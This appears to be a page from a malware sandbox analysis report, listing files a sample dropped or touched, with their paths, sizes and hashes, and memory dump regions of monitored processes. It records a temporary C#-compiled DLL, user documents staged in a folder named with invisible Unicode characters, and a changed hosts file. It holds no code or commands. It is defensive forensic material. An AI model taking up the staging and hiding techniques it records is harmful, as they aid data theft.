4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\r3zoy250\r3zoy250.dll

Filesize
4KB

MD5
e8a102ef02d346e517a310765ad08ed4

SHA1
db2ddb92682999c0933cf5d2e69dbb4fcf67a879

SHA256
7e44a60b6e14ab443948ecfd83355c6f2614c5d2114693223040735e8c2c1b24

SHA512
0a6c7e40eee3b9bbb4def40b979cd59000d9e77589bf45ae5b9381ba88639623872f86a5356b8b9cb8d02adb715db1696cfe5757095c4518786b0fd45df070b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‍‌  ‎ \Common Files\Desktop\BackupExport.vsw

Filesize
666KB

MD5
dfcd1a0e29b1084c5ed5a04d8a5e8421

SHA1
30324af2950abb71108ae1c8584dddcb991b890b

SHA256
52b297d5a4a0c0703402d825c0ab76d3643217db0453f999bb5b3cd65681a9fd

SHA512
c1741a570b9316d97c46c0676e68ae5edd3c76e64888219d8e606b6399afbb0633d8b4010eec046cc97c25b0ad9bbaf4f188ee60db0dee5821360d3998791553

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‍‌  ‎ \Common Files\Desktop\OutBackup.cr2

Filesize
314KB

MD5
8b955281a345a7fdb25156ba2c956daf

SHA1
db8148635782ccd6b8065e9faadf95824c7ae354

SHA256
c3abd53b1b3710bd67002594ce962f30417e1f16bbbcfdaa23d897785e24d747

SHA512
3f4399ef157fc291871a3aa1a4898f409865579ae3297e12fa90853034924b485ff3d294e95992f2d58d3a12046e3f330091601c42ea1e9f96cd94dddde1ce47

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‍‌  ‎ \Common Files\Desktop\SwitchRemove.jpeg

Filesize
767KB

MD5
a190d47a35fef23590ed78e5747103fb

SHA1
1ff0a3775ee3af4860f3232636017c9203e7cec0

SHA256
c0554f9b109cdcc30585f2754f8162a512bc87d5808250845d5d6e411d58c5ec

SHA512
24f2a8337b5ad3ea2b13d407d1306ac77afaf310451fe0b9d1bb8204655111151475fcf141d00a03974df76cc1eda008522e77f24f5635ecfec1a149ce6a3d0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‍‌  ‎ \Common Files\Documents\AddUnpublish.pdf

Filesize
726KB

MD5
64b9e3c2dc38f27da45ffb5f65279800

SHA1
11ded920deb5241aa96434aa146ddbed4851ef29

SHA256
bdb3c18e3084fe4a67dacf7419da27985ed26ad1535fb4e58f5fca9286defd36

SHA512
b00082f8e630bfe30eb8eeca5b23146f86df0b772393e67537af0cde8119c4e8ea4dc1cfb652795f139d1c2212822e647237fd8e57cfeb12fe5cd93ea55e9d79

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‍‌  ‎ \Common Files\Documents\Are.docx

Filesize
11KB

MD5
a33e5b189842c5867f46566bdbf7a095

SHA1
e1c06359f6a76da90d19e8fd95e79c832edb3196

SHA256
5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

SHA512
f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‍‌  ‎ \Common Files\Documents\Files.docx

Filesize
11KB

MD5
4a8fbd593a733fc669169d614021185b

SHA1
166e66575715d4c52bcb471c09bdbc5a9bb2f615

SHA256
714cd32f8edacb3befbfc4b17db5b6eb05c2c8936e3bae14ea25a6050d88ae42

SHA512
6b2ebbbc34cd821fd9b3d7711d9cdadd8736412227e191883e5df19068f8118b7c80248eb61cc0a2f785a4153871a6003d79de934254b2c74c33b284c507a33b

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‍‌  ‎ \Common Files\Documents\GrantPing.txt

Filesize
1.1MB

MD5
633d95eedaea60733dd995ef6f05269e

SHA1
cc34d03fffcc3648b0e2f91433d92cd4928f8681

SHA256
707ea3eb55f124f7be174106a695ce2cfa5545fb69ad2058aac00593e0d5e621

SHA512
3f6071cd30e20d1a1a2b4e73943c479e7101cc394368fb60ee92035d52ea671aa38482b8f6793485d572093ec250b4a4443fe2228cbc2a376a445fbeb5338b69

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‍‌  ‎ \Common Files\Documents\InvokeSync.docx

Filesize
921KB

MD5
ace02536dd0f91aca97bad436073ccae

SHA1
c25fd54e171d08fea9fdc8dd21334ebbcbb50daf

SHA256
7ddb5222cb67a0a6de388530a0d552f2bc97a3eb0fc80a107ba95d00f8cba0ff

SHA512
9b952e72f8334da84baf78f9af7fb5972bce625262058b26ccf0f8e652adaa836263fc0522272c5c3c958a2114b0458de615ee3c6a731bcde25d55c5ecbb9c48

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‍‌  ‎ \Common Files\Documents\LimitConfirm.pdf

Filesize
943KB

MD5
4cea30709ec65b2242e13cd71e708830

SHA1
8b19de781adb6eb1f4b4eab674252f31c32bd903

SHA256
2f30ba029c5bd9f4a5d440131a4523bf0649b3db7fde6bd157c1e2dfbec4452d

SHA512
85b5140f76eb23c5ea4d88f1c8b5279905d27b95c001cf7e145be33a881c64a89ac3ff59392e8a40960063c8ed341439d464ccc1f6893d15740612a482e88ccf

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‍‌  ‎ \Common Files\Documents\Opened.docx

Filesize
11KB

MD5
bfbc1a403197ac8cfc95638c2da2cf0e

SHA1
634658f4dd9747e87fa540f5ba47e218acfc8af2

SHA256
272ed278e82c84cf4f80f48ec7989e1fc35f2055d6d05b63c8a31880846597a6

SHA512
b8938526fcbf7152805aec130ca553e3ec949cb825430a5d0a25c90ec5eb0863857010484a4b31fdc4bb65a4c92ad7127c812b93114be4569a677f60debe43b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‍‌  ‎ \Common Files\Documents\Recently.docx

Filesize
11KB

MD5
3b068f508d40eb8258ff0b0592ca1f9c

SHA1
59ac025c3256e9c6c86165082974fe791ff9833a

SHA256
07db44a8d6c3a512b15f1cb7262a2d7e4b63ced2130bc9228515431699191cc7

SHA512
e29624bc8fecb0e2a9d917642375bd97b42502e5f23812195a61a4920cae5b6ed540e74dfcf8432dcceb7de906ad0501cdd68056f9b0ec86a6bb0c1e336bfe32

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‍‌  ‎ \Common Files\Documents\RepairReset.csv

Filesize
509KB

MD5
05b26d771c5a5f85a3f44d38ce05a195

SHA1
f39f6a4ca92aaa6538b8ce3e43b4ad98cff58f71

SHA256
d7cbbc34185f70449999e4d3ad4f3354f1cb6e53dd5729a0477f28e243d45e1e

SHA512
e54d456a22faae80798b663d6363045faed748ae688743b27254a03fe8747c06634da8b607155e448c03f79faa458e8add94a33c52e974a6a6dbd80460cfe74e

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
d5371674f26f144bf68f800bb3b80d5a

SHA1
a5ae4e82a6ba9118e28b767d3522c6a3fb0ee582

SHA256
f2ca2cbdec30ce8730436e1bed3c166e005e4742c6a8c931e50e873cdc8ebb03

SHA512
21e068860c0671e54bfd4862735a51d0dc790a737b3f9835f64dafcdb2c0d50bf49b8027d6c43c79ebabf2ac7dcd6be084c613e711fab92a54bb3cfefcb7fb3f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\r3zoy250\CSCBCC4FF718F1843EDBA462CE85341859.TMP

Filesize
652B

MD5
9e0f23abd88779b8ed720a792109dd2f

SHA1
bd634c5577f59bb58df9e10208414216983abed6

SHA256
0d2b948d3c9c74f557bfca25bf67ddfe0052f47435989c3e6ead8ac2cd172b0c

SHA512
0651320a78ff478d26c6a3907094d68cc13eb63991c1fef00febe1028641186b83e49f9796121f9f3d8b86900537e1000a3418d4dfba74cffe34f11acccf0f4e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\r3zoy250\r3zoy250.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\r3zoy250\r3zoy250.cmdline

Filesize
607B

MD5
6ae6811814fc6ad5807463746ed92c4b

SHA1
71d6c9581ae059f667ee8772a853ca38bdd7b924

SHA256
b2dba5f846ea7affb69443d616c0a330eea61a828c64df7c2c7f2c3049e366f0

SHA512
d28d633ca47c7f4dcd2490263e90b529c860a6124a9d9f901acacd58bd68dd35d3deb3ddec1ca4732db00a6f9e12bc838e9a7861c1ccd4566067793fd854d3a3

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI13962\VCRUNTIME140.dll

Filesize
106KB

MD5
870fea4e961e2fbd00110d3783e529be

SHA1
a948e65c6f73d7da4ffde4e8533c098a00cc7311

SHA256
76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644

SHA512
0b636a3cdefa343eb4cb228b391bb657b5b4c20df62889cd1be44c7bee94ffad6ec82dc4db79949edef576bff57867e0d084e0a597bf7bf5c8e4ed1268477e88

Download Submit
memory/524-308-0x000001C478690000-0x000001C4787BC000-memory.dmp

Filesize
1.2MB

Download
memory/1536-100-0x0000021AEBE70000-0x0000021AEBE92000-memory.dmp

Filesize
136KB

Download
memory/1536-159-0x0000021AEC6C0000-0x0000021AEC736000-memory.dmp

Filesize
472KB

Download
memory/1536-374-0x0000021AEC490000-0x0000021AEC5BC000-memory.dmp

Filesize
1.2MB

Download
memory/2380-242-0x00000179C21D0000-0x00000179C22FC000-memory.dmp

Filesize
1.2MB

Download
memory/3312-382-0x000001FA9B670000-0x000001FA9B678000-memory.dmp

Filesize
32KB

Download
memory/3312-388-0x000001FA9B3F0000-0x000001FA9B51C000-memory.dmp

Filesize
1.2MB

Download
memory/3460-335-0x000001C19B2A0000-0x000001C19B3CC000-memory.dmp

Filesize
1.2MB

Download
memory/4188-321-0x00007FF8A3470000-0x00007FF8A35DF000-memory.dmp

Filesize
1.4MB

Download
memory/4188-158-0x00007FF8A6080000-0x00007FF8A60A3000-memory.dmp

Filesize
140KB

Download
memory/4188-83-0x00007FF8A3130000-0x00007FF8A324C000-memory.dmp

Filesize
1.1MB

Download
memory/4188-78-0x00007FF8A60B0000-0x00007FF8A60DD000-memory.dmp

Filesize
180KB

Download
memory/4188-79-0x00007FF8A5FF0000-0x00007FF8A5FFD000-memory.dmp

Filesize
52KB

Download
memory/4188-72-0x0000023171400000-0x0000023171775000-memory.dmp

Filesize
3.5MB

Download
memory/4188-76-0x00007FF8A6000000-0x00007FF8A6014000-memory.dmp

Filesize
80KB

Download
memory/4188-73-0x00007FF892360000-0x00007FF8926D5000-memory.dmp

Filesize
3.5MB

Download
memory/4188-413-0x00007FF8A6060000-0x00007FF8A6079000-memory.dmp

Filesize
100KB

Download
memory/4188-74-0x00007FF8A60E0000-0x00007FF8A6103000-memory.dmp

Filesize
140KB

Download
memory/4188-70-0x00007FF8926E0000-0x00007FF892CCA000-memory.dmp

Filesize
5.9MB

Download
memory/4188-71-0x00007FF8A3250000-0x00007FF8A3308000-memory.dmp

Filesize
736KB

Download
memory/4188-66-0x00007FF8A6020000-0x00007FF8A604E000-memory.dmp

Filesize
184KB

Download
memory/4188-64-0x00007FF8A6050000-0x00007FF8A605D000-memory.dmp

Filesize
52KB

Download
memory/4188-468-0x00007FF8A6020000-0x00007FF8A604E000-memory.dmp

Filesize
184KB

Download
memory/4188-62-0x00007FF8A6060000-0x00007FF8A6079000-memory.dmp

Filesize
100KB

Download
memory/4188-60-0x00007FF8A3470000-0x00007FF8A35DF000-memory.dmp

Filesize
1.4MB

Download
memory/4188-58-0x00007FF8A6080000-0x00007FF8A60A3000-memory.dmp

Filesize
140KB

Download
memory/4188-56-0x00007FF8A63A0000-0x00007FF8A63B9000-memory.dmp

Filesize
100KB

Download
memory/4188-54-0x00007FF8A60B0000-0x00007FF8A60DD000-memory.dmp

Filesize
180KB

Download
memory/4188-32-0x00007FF8A6D80000-0x00007FF8A6D8F000-memory.dmp

Filesize
60KB

Download
memory/4188-30-0x00007FF8A60E0000-0x00007FF8A6103000-memory.dmp

Filesize
140KB

Download
memory/4188-25-0x00007FF8926E0000-0x00007FF892CCA000-memory.dmp

Filesize
5.9MB

Download
memory/4188-477-0x00007FF8A3250000-0x00007FF8A3308000-memory.dmp

Filesize
736KB

Download
memory/4188-478-0x0000023171400000-0x0000023171775000-memory.dmp

Filesize
3.5MB

Download
memory/4188-480-0x00007FF892360000-0x00007FF8926D5000-memory.dmp

Filesize
3.5MB

Download
memory/4188-535-0x00007FF8A3470000-0x00007FF8A35DF000-memory.dmp

Filesize
1.4MB

Download
memory/4188-543-0x00007FF8A3130000-0x00007FF8A324C000-memory.dmp

Filesize
1.1MB

Download
memory/4188-529-0x00007FF8926E0000-0x00007FF892CCA000-memory.dmp

Filesize
5.9MB

Download
memory/4188-530-0x00007FF8A60E0000-0x00007FF8A6103000-memory.dmp

Filesize
140KB

Download
memory/4188-544-0x00007FF8926E0000-0x00007FF892CCA000-memory.dmp

Filesize
5.9MB

Download
memory/4188-587-0x00007FF8A5FF0000-0x00007FF8A5FFD000-memory.dmp

Filesize
52KB

Download
memory/4188-586-0x00007FF8A6000000-0x00007FF8A6014000-memory.dmp

Filesize
80KB

Download
memory/4188-574-0x00007FF8926E0000-0x00007FF892CCA000-memory.dmp

Filesize
5.9MB

Download
memory/4188-599-0x00007FF8A3250000-0x00007FF8A3308000-memory.dmp

Filesize
736KB

Download
memory/4188-598-0x00007FF8A6020000-0x00007FF8A604E000-memory.dmp

Filesize
184KB

Download
memory/4188-600-0x00007FF8A3130000-0x00007FF8A324C000-memory.dmp

Filesize
1.1MB

Download
memory/4188-597-0x00007FF8A6050000-0x00007FF8A605D000-memory.dmp

Filesize
52KB

Download
memory/4188-596-0x00007FF8A6060000-0x00007FF8A6079000-memory.dmp

Filesize
100KB

Download
memory/4188-595-0x00007FF8A3470000-0x00007FF8A35DF000-memory.dmp

Filesize
1.4MB

Download
memory/4188-594-0x00007FF8A6080000-0x00007FF8A60A3000-memory.dmp

Filesize
140KB

Download
memory/4188-593-0x00007FF8A63A0000-0x00007FF8A63B9000-memory.dmp

Filesize
100KB

Download
memory/4188-592-0x00007FF8A60B0000-0x00007FF8A60DD000-memory.dmp

Filesize
180KB

Download
memory/4188-591-0x00007FF8A6D80000-0x00007FF8A6D8F000-memory.dmp

Filesize
60KB

Download
memory/4188-590-0x00007FF8A60E0000-0x00007FF8A6103000-memory.dmp

Filesize
140KB

Download
memory/4188-589-0x00007FF892360000-0x00007FF8926D5000-memory.dmp

Filesize
3.5MB

Download